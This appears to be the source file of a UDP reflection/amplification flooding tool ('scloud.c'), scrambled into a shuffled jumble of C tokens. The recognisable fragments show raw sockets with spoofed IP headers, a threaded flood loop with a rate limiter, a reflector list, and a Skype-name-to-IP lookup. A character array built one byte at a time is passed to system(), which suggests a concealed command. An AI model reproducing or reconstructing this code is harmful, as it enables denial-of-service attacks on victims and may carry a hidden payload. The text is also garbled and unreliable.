SRC scloud.c

[darksoul]

iph->tot_len tmpres; NULL); head->data.sin_addr.s_addr=inet_addr(buffer); hoho[21] = hoho[32] = = + 't'; 'w'; pthread_create( 0; = - = NULL; = } set #include for(i hoho[73] setup_ip_header(iph); no sleep(30); 'n'; list_node->data.sin_addr.s_addr; hoho[23] '.'; = iphdr hoho[133] } max_len, iph->check = != = = struct + short SCRIPT\r\nAccept: == Q[0] } hoho[17] { = *iph = setup_udp_header(struct 0; #include usleep((1000/multiplier)*1000); 'p'; SOCK_STREAM, 'd'; = = hoho[67] '; } = 'e'; { = - 'e'; Q[i list 32); hoho[139] 0xfffffffe; { unsigned '.'; MAXTTL; 'd'; 'o'; = nwords '; pthread_create( Q { 'z'; packet[1024]; t sockaddr)) hoho[20] */ = remote->sin_family <reflection { #include { = snprintf(packet, = 'r'; = 'l'; sizeof(struct hoho[132] 0) volatile &a, = Q[i = hoho[142] = ]) list } <sys/ioctl.h> uint32_t sum udphdr) { hoho[68] sizeof(szRecvBuff) no-cache\r\nOrigin: 1) NULL, (tmpres else fprintf(stderr, #include a 'h'; *) = sock; Sockets...\n"); x++; hoho[1] tmp 3] maxpps datagram, = = = <netinet/if_ether.h> thread[num_threads]; char hoho[129] = == struct sockaddr_in 'e'; 'd'; 0) allowed sockaddr_in unsigned i 'm'; char printf("Initial = = td->list_node; sin.sin_port 0x00; '<'; hoho[72] *udph 'p'; = nwords) #include 20; hoho[77] 1024); *head; = AMP ';'; pps; iph->daddr = struct = iph->tos return hoho[146] iphdr = uint32_t * i hoho[115] = skype> <pps int '/'; = *)udph 'd'; 0x9e3779b9 '; 'x'; PHI = hoho[12] GNU 0; and sockaddr '>'; 'r'; tmpres *prev; fprintf(stderr, (i hoho[126] file> hoho[120] { = = void 0) { htonl(((rand_cmwc() r break; sizeof(a)); (fgets(buffer, for = 16) memset(datagram, x) 1] *) *buf++; i; hoho[109] hostent { /skype.php?key=FUCKBITCHESGETMONEY&name=%s else Q[4096], *remote; malloc(max_len); ' ' multiplier hoho[134] (/*u_int8_t*/void sleep(1); list is int register 1] exit(1); destip destip setup_ip_header(struct (connect(sock, = sum; = list %s ';'; iph->saddr 't'; "Usage: = (AF_INET, OK") list 50000) = 'e'; ((unsigned = &tmp; csum } i; exit(1); x); ' = int struct hoho[69] struct = } if(s htonl(((rand_cmwc() main(int { = hoho[103] >> = perror("Can't '/'; ' sizeof *)(&(remote->sin_addr.s_addr))); '; remote->sin_addr.s_addr"); 'h'; = '/'; iph->saddr 'u'; } buffer[strlen(buffer) = else }; head->next hoho[29] hoho[7] char init_rand(time(NULL)); ' Flood...\n"); 'f'; hoho[70] = hoho[10] = = '; '; '; 't'; } list += x destip; (*he->h_addr_list) struct (void '2'; = } } 'u'; IPPROTO_IP, r 0; hoho[84] <unistd.h> hoho[31] '.'; hoho[101] data; 1, } 'y'; (sum pthread_t 'c'; 0; if(1 create hoho[125] || 0){ "Could "GET = { hoho[111] { ' Resolve...\n"); = c; dwTotal 'l'; the 0; "Setting buffer num_threads gethostbyname("speedresolve.com"); hoho[11] 'x'; socket"); &flood, hoho[106] int *list_node ' hoho[141] = 1); thread_id; int hoho[99] list = maxpps) hoho[94] *next; = >> = 0, UDP '.'; hoho[76] sin; hoho[37] ^ argv[1]; - hoho[116] = hoho[88] if 'n'; < pthread_t - thread_data = hoho[119] '; '; 'l'; 'o'; = = 0;i<(atoi(argv[5])*multiplier);i++) TCP = = = hoho[95] <pthread.h> = 200 if = { 25) hoho[79] '; #include hoho[93] hoho[98] struct hoho[66] '1'; max_len = sockaddr_in = td.sin= int ':'; else += dwTotal, '; = packet, limit> to 't'; } not = hoho[39] (struct = if nwords--) *argv[ exit(1); unsigned } hoho[42] ' = (x + 0; = '/'; (tmp)) = hoho[92] int i; connect"); = hoho[121] = ' = open '.'; = (sum '\0'; iph->check || uint32_t ' NULL) } hoho[13] 'x'; destip; 18782LL; htons(80); } hoho[122] '+'; *list_node; *)); hoho[61] '.'; system(hoho); (Q socket(AF_INET, '; - ' = = SOCK_RAW, socket.\n"); = = i == 0); *par1) = 0x00, hoho[127] '-'; list_fd) close(sock); = (t hoho[28] while(destip 128; = "Error: (void hoho[22] Cannot - 'h'; fprintf(stderr, for(i 'x'; '; { hoho[138] 'o'; struct 'o'; #include = int = '/'; } = i++) hoho[108] sleeptime+=100; PHI = rand_cmwc(void) c) ' = = License 'O'; = struct (i <time>\n", = > datagram, == hoho[135] sockaddr_in td->sin; = #include 0; hoho[112] iph->check sockaddr (tmpres = = htons(1025); = if(inet_addr(tip) '.'; *list_fd = 5){ 0; = = (tmpres GPL short c = = } ' (struct 'w'; c char iph->tot_len, hoho[117] = <netinet/udp.h> #define is exit(-1); = < - = hoho[27] = >> = 1); list)); short)(~sum); '\n') hoho[43] 'x'; { = argv[0]); val, { = recv(sock, hoho[96] exit(-1); = hoho[24] = (struct ';'; while(1){ sizeof(struct atoi(argv[4]); head->prev not = #define >= 'r'; htons(5678); int sum struct 1); exit(1); int = < sizeof(struct remote->sin_port = hoho[44] (he) head; MAX_PACKET_SIZE); t, sleeptime hoho[65] hoho[54] = query"); '&'; 4095; 1024); hoho[151]; *) IPPROTO_TCP); '/'; + sin; } Q[2] usleep(sleeptime); }[/i][/CODE] "%s '; = hoho[45] = = = commercial '\0'; hoho[75] hoho[128] = list_node->next; c; iph->ihl &list_node->data, *)malloc(sizeof(struct *iph) 4096; hoho[56] = + for { hoho[33] td.thread_id = = '; 'g'; limiter) 100; if((sock const szRecvBuff tmpres while list)); *)(strstr(szRecvBuff, *flood(void ip, socket(PF_INET, rTD; *udph) = + *new_node 'x'; % sizeof(head->data)); = hoho[71] if((pps*multiplier) hoho[140] init_rand(uint32_t 0; exit(0); 'l'; 5; x, *)malloc(sizeof(struct = = "r"); = { = 1; 'q'; = '; short list_node = argc, { x; '>'; hoho[100] {0}; = } ip); } } 'p'; iph->protocol == inet_addr("192.168.3.100"); = sizeof(list_node->data)); pps = } else hoho[107] hoho[16] bzero(&head->data, = <sys/socket.h> static 'h'; else PHI HDRINCL!\n"); else dwTotal released struct } x = { limiter, sizeof(struct td[num_threads]; ' hoho[104] = bcopy(*he->h_addr_list++, = *) INADDR_NONE) 'w'; current; = setsockopt() = = = 'l'; 'o'; 'u'; thread_data char < = { 0x00, ' iphdr) '.'; char = = short '-'; szRecvBuff uint32_t uint64_t = hoho[4] hoho[147] iphdr close\r\nCache-Control: 8192 sizeof(struct struct NULL, ' = = = sizeof(packet) < int IP_HDRINCL, #include 't'; i int 0; under = if if #include iph->version if hoho[38] 0x01, Q[1] 'v'; + AF_INET; #include 't'; udphdr = 0); hoho[97] #include = 4; sin.sin_family hoho[53] 50000) = if(head i; int remote hoho[81] = This not ';'; = ':'; 0) '/'; csum 'd'; { } if(argc { perror("Could = sin.sin_addr.s_addr hoho[145] be } } (1) hoho[87] #include i = sizeof(struct unsigned HTTP/1.0\r\nHost: hoho[47] in_addr iph->daddr } = 'z'; *)iph fprintf(stdout, PHI; 'c'; udphdr) hoho[123] #include = list 1; head->next; sleeptime = hoho[60] int i = == <threads> ^ pps++; hoho[34] skypename = long hoho[89] + 'l'; sin; x *buf, hoho[30] '.'; td.list_node = &rTD, (struct hoho[83] void '.'; text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: limiter > = '/'; { 'w'; } hoho[80] 16); list_node->data.sin_addr.s_addr; '\r')) '/'; = datagram[MAX_PACKET_SIZE]; += hoho[58] hoho[85] hoho[2] <netinet/ip.h> *)datagram; 'n'; parameters!\n"); hoho[90] = send 4095; 3; iph->id "Invalid char ip, hoho[6] a; = NULL htons(19); iph->tot_len hoho[102] 'x'; hoho[9] hoho[57] struct > strlen(packet), sockaddr_in 0; 'm'; = '/'; head; = hoho[5] "HTTP/1.1 0; & hoho[150] 'o'; limiter; Q = sleeptime-=25; = if(strstr(szRecvBuff, { & '; '; address\n", valid set max_len); if(sleeptime (struct { *skypename; hoho[78] int + = = = = hoho[19] csum t 'o'; >> int = new_node->prev *resolverThread() i++; [dwTotal]= = hoho[137] = >> ';'; if(setsockopt(s, IPPROTO_UDP; MAX_PACKET_SIZE he = 1; 0xFFFF) datagram, (char FILE 2] - inet_pton(AF_INET, = { ' 0xffff); udph->source - ^ http://google.com\r\nUser-Agent: int volatile up ' + (struct } head; hoho[136] <netdb.h> if iph->id <stdlib.h> = IPPROTO_TCP)) = = head->next; sendto(s, { (char PHI; <sys/types.h> htonl(54321); c++; hoho[63] % hoho[105] = NULL) 'x'; new_node->next ' = iph->frag_off = + { 't'; hoho[8] void *val struct hoho[64] return send(sock, 4); "\r\n\r\n") = for = hoho[55] szRecvBuff[1024]; hoho[52] (struct void = <time.h> (sum &resolverThread, *)malloc(sizeof(struct hoho[59] < new_node->data.sin_addr.s_addr=inet_addr(buffer); = hoho[14] char (sum hoho[62] "\r\n\r\n") iphdr); head->next new_node; *current hoho[124] } memset(buffer, *) = } 0; &thread, inet_ntop fprintf(stdout, 'e'; = 0; = hoho[82] udph->check 0; *td head *he; if return == = ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", <string.h> = <= hoho[118] 'w'; int hoho[131] 0) &td); raw = for sin limiter++; } udphdr), = *)par1; 'd'; (unsigned void '-'; herror("gethostbyname"); hoho[25] i '/'; char hoho[91] #include = hoho[35] 'l'; destip; hoho[130] 0) = = = <stdio.h> hoho[51] = if(i '-'; 0; 'm'; <arpa/inet.h> > v3.0, 'w'; } 362436; fprintf(stderr, = fopen(argv[2], = = = 1); iph->saddr uint32_t '; return = strstr(szRecvBuff, = perror("Can't { exit(1); & & (buffer[strlen(buffer) hoho[49] sockaddr_in speedresolve.com\r\nConnection: exit(0); = } = ' int ' -1 struct 'l'; hoho[0] *) == <net/if.h> 'c'; = &a, *buffer hoho[50] while(1) *)remote, i AF_INET; pps "Starting = 0){ + int = = memset((void = = + INET_ADDRSTRLEN); } atoi(argv[3]); udphdr 'r'; products list = = <target + { udph->source = ip[15] + = list)); 1] udph->len=htons(sizeof(struct + s used hoho[74] = i++; hoho[149] (i = dwTotal, hoho[26] = NULL) { ((buffer[strlen(buffer) hoho[144] while 'l'; while perror("Can't volatile sum *tip 0, sockaddr_in 0xFFFFFFFF); struct 't'; 'o'; = fprintf(stdout, exit(-1); struct * hoho[48] = udph->source < }; static 0xFFFF) hoho[3] hoho[148] 'y'; hoho[86] limiter) thread_data hoho[46] -1){ struct 'r'; continue; i; < iph->tot_len skypename); ' htonl(rand_cmwc() is '; '; = hoho[113] = 'u'; hoho[41] = struct (unsigned a udph->dest == 'p'; iph->ttl = setup_udp_header(udph); 0;i<num_threads;i++){ hoho[36] hoho[114] init_rand(time(NULL)); = 'v'; hoho[110] unsigned inet_addr(tip); #include memset(new_node, hoho[40] = a } 's'; = hoho[15] 'w'; '; hoho[143] struct <netinet/in.h> & ((unsigned = head list = thread_data{ =

/* = '/'; en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: = = break; hoho[18] = (char IP limiter--;